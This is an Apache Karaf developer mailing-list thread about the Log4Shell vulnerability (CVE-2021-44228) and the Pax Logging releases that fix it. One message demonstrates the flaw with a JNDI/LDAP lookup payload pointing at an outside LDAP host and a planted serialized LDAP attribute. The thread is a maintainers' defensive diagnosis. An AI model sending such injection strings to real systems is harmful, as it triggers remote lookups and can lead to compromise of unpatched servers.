Hello, Found no problem was using the wrong property prefix. It works now to turn it off.
I also noticed that JNDI lookups will fail on our karaf distribution because the JNDIManager has some DelegateContextLookup (OSGiDelegating something) which fails the lookup. It’s too late to find out why but that means at least the POC vectors don’t harm me. -- https://bernd.eckenfels.net ________________________________ From: Bernd Eckenfels <e...@zusammenkunft.net> Sent: Friday, December 10, 2021 11:26:19 PM To: dev@karaf.apache.org <dev@karaf.apache.org> Subject: Re: [ANN][CVE-2021-44228] Pax Logging 2.0.11 and 1.11.10 released I am currently working on a description for a work around (specifying the system property) but I can’t get it to work. It still expands ${java:version}. I checked that it shows with “system:property log4j.formatMsgNoLookup” true and there seems to be no %m{lookup} setting. I am using pax logging 2.0.8 which is containing log4j 2.14.1 (I.e a version newer than 2.10). Any idea? Is it possible that the shaded pax-logging-log4j does not honor the system property of log4j? -- https://bernd.eckenfels.net ________________________________ From: Grzegorz Grzybek <gr.grzy...@gmail.com> Sent: Friday, December 10, 2021 1:43:00 PM To: dev@karaf.apache.org <dev@karaf.apache.org> Subject: Re: [ANN][CVE-2021-44228] Pax Logging 2.0.11 and 1.11.10 released Hello Actually, https://issues.apache.org/jira/browse/LOG4J2-3198 describes it in details. I was a bit surprised too - I knew about e.g., `${java:version}` if you used it in pattern layout configuration - I didn't expect Log4j2 to interpolate the messages passed to log() methods as well! But you can try (in Karaf): karaf@root()> log:log 'xxx ${java:version} xxx' And you'll see (in the logs): 2021-12-10 13:39:25,243 INFO {pipe-log:log 'xxx ${java:version} xxx'} [org.apache.karaf.log.command.LogEntry.execute()] (LogEntry.java:57) : xxx Java version 1.8.0_312 xxx so a message has been interpolated. What's worse, I could add an entry to my OpenLDAP with: javaClassName: java.lang.String javaSerializedData:: rO0ABXQAF2h0dHA6Ly9sb2NhbGhvc3QvYXR0YWNr And then: karaf@root()> log:log '${jndi:ldap://10.39.192.99/cn=boom,dc=k8s,dc=forest}' gave me this in logs: 2021-12-10 13:40:38,181 INFO {pipe-log:log '${jndi:ldap:// 10.39.192.99/cn=boom,dc=k8s,dc=forest}'} [org.apache.karaf.log.command.LogEntry.execute()] (LogEntry.java:57) : http://localhost/attack "http://localhost/attack"; is the deserialized value from "rO0ABXQAF2h0dHA6Ly9sb2NhbGhvc3QvYXR0YWNr" LDAP attribute. While you can't use "javaCodeBase" LDAP attribute to point to malicius URL code base (thanks to "com.sun.jndi.ldap.object.trustURLCodebase" system property that defaults to "false" since 2009), you still have a remote request being performed when logging messages with ${jndi:ldap://example.com }. regards Grzegorz Grzybek pt., 10 gru 2021 o 13:28 Bernd Eckenfels <e...@zusammenkunft.net> napisał(a): > Hello Grzegorz, > > Thanks a lot for the super quick reaction. > > I was rather confused to see that log messages can trigger a JNDI lookup > anyway. Do you think there should be hardened something here? > > Do you know if that is triggered by malicious log config or by malicious > log messages and does it only affect systems where the JMSAppender is > actually used? > > Gruss > Bernd > > > -- > http://bernd.eckenfels.net > ________________________________ > Von: Grzegorz Grzybek <gr.grzy...@gmail.com> > Gesendet: Friday, December 10, 2021 12:20:02 PM > An: ops4j-announcem...@googlegroups.com < > ops4j-announcem...@googlegroups.com>; Karaf Dev <dev@karaf.apache.org>; > d...@felix.apache.org <d...@felix.apache.org> > Betreff: [ANN][CVE-2021-44228] Pax Logging 2.0.11 and 1.11.10 released > > Hello > > Pax Logging 2.0.11 and 1.11.10 have been released with CVE-2021-44228 fix. > > *Log4j2 has been updated to version 2.15.0.* > > The changelog is available at GitHub: > https://github.com/ops4j/org.ops4j.pax.logging/milestone/72?closed=1 > > kind regards > Grzegorz Grzybek >
